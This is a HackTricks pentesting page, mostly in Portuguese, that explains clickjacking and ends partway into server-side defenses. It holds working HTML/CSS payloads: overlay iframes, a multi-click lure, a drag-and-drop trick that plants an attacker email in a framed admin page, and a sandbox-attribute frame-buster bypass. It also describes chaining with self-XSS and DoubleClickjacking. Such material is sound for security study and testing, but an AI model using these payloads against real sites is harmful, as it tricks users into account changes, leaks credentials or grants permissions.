Clickjacking

Reading time: 9 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

O que é Clickjacking

Em um ataque de clickjacking, um usuário é enganado para clicar em um elemento numa página web que está invisível ou disfarçado como outro elemento. Essa manipulação pode levar a consequências indesejadas para o usuário, como o download de malware, redirecionamento para páginas web maliciosas, fornecimento de credenciais ou informações sensíveis, transferências de dinheiro ou compras online de produtos.

Truque de pré-preenchimento de formulários

Às vezes é possível preencher o valor dos campos de um formulário utilizando parâmetros GET ao carregar a página. Um atacante pode abusar desse comportamento para preencher um formulário com dados arbitrários e enviar o payload de clickjacking para que o usuário pressione o botão Submit.

Preencher formulário com Drag&Drop

Se você precisa que o usuário preencha um formulário mas não quer pedir diretamente que ele escreva alguma informação específica (como o email e/ou uma senha específica que você conhece), você pode simplesmente pedir que ele Drag&Drop algo que escreverá os dados controlados por você como em this example.

Basic Payload

css
<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>

Payload em várias etapas

css
<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>

Arrastar&Soltar + Clique payload

css
<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>

XSS + Clickjacking

Se você identificou um XSS que requer que o usuário clique em algum elemento para disparar o XSS e a página é vulnerável a Clickjacking, você pode abusar disso para enganar o usuário a clicar no botão/link.
Exemplo:
Você encontrou um self XSS em alguns detalhes privados da conta (detalhes que apenas você pode definir e ler). A página com o form para definir esses detalhes é vulnerável a Clickjacking e você pode pré-preencher o form com os parâmetros GET.
Um atacante poderia preparar um ataque de Clickjacking a essa página pré-preenchendo o form com o XSS payload e enganando o usuário para clicar em Submit no formulário. Então, quando o form for enviado e os valores forem modificados, o usuário executará o XSS.

DoubleClickjacking

Firstly explained in this post, this technique would ask the victim to double click on a button of a custom page placed in a specific location, and use the timing differences between mousedown and onclick events to load the victim page duing the double click so the victim actually clicks a legit button in the victim page.

An example could be seen in this video: https://www.youtube.com/watch?v=4rGvRRMrD18

A code example can be found in this page.

warning

Esta técnica permite enganar o usuário para clicar em um único local na página da vítima, contornando todas as proteções contra Clickjacking. Assim o atacante precisa encontrar ações sensíveis que podem ser realizadas com apenas 1 clique, como prompts de OAuth aceitando permissões.

Extensões do navegador: DOM-based autofill clickjacking

Além de iframar páginas da vítima, atacantes podem mirar em elementos de UI de extensões do navegador que são injetados na página. Gerenciadores de senhas renderizam dropdowns de autofill próximos a inputs focados; ao focar um campo controlado pelo atacante e esconder/ocluir o dropdown da extensão (opacity/overlay/top-layer tricks), um clique coagido do usuário pode selecionar um item armazenado e preencher dados sensíveis em inputs controlados pelo atacante. Esta variante não requer exposição via iframe e funciona inteiramente por manipulação do DOM/CSS.

  • For concrete techniques and PoCs see:

BrowExt - ClickJacking

Strategies to Mitigate Clickjacking

Defesas do lado do cliente

Scripts executados no lado do cliente podem executar ações para prevenir Clickjacking:

  • Garantir que a janela da aplicação seja a janela principal/top window.
  • Tornar todos os frames visíveis.
  • Evitar cliques em frames invisíveis.
  • Detectar e alertar usuários sobre possíveis tentativas de Clickjacking.

No entanto, esses scripts de frame-busting podem ser contornados:

  • Browsers' Security Settings: Alguns navegadores podem bloquear esses scripts com base nas configurações de segurança ou falta de suporte a JavaScript.
  • HTML5 iframe sandbox Attribute: Um atacante pode neutralizar scripts de frame buster definindo o atributo sandbox com os valores allow-forms ou allow-scripts sem allow-top-navigation. Isso impede que o iframe verifique se é a top window, por exemplo:
html
<iframe
id="victim_website"
src="https://victim-website.com"
sandbox="allow-forms allow-scripts"></iframe>

The allow-forms and allow-scripts values enable actions within the iframe while disabling top-level navigation. Para garantir a funcionalidade pretendida do site alvo, permissões adicionais como allow-same-origin e allow-modals podem ser necessárias, dependendo do tipo de ataque. Mensagens do console do navegador podem indicar quais permissões permitir.

Server-Side Defenses

X-Frame-Options

O X-Frame-Options HTTP response header informa os navegadores sobre a legitimidade de renderizar uma página em um ou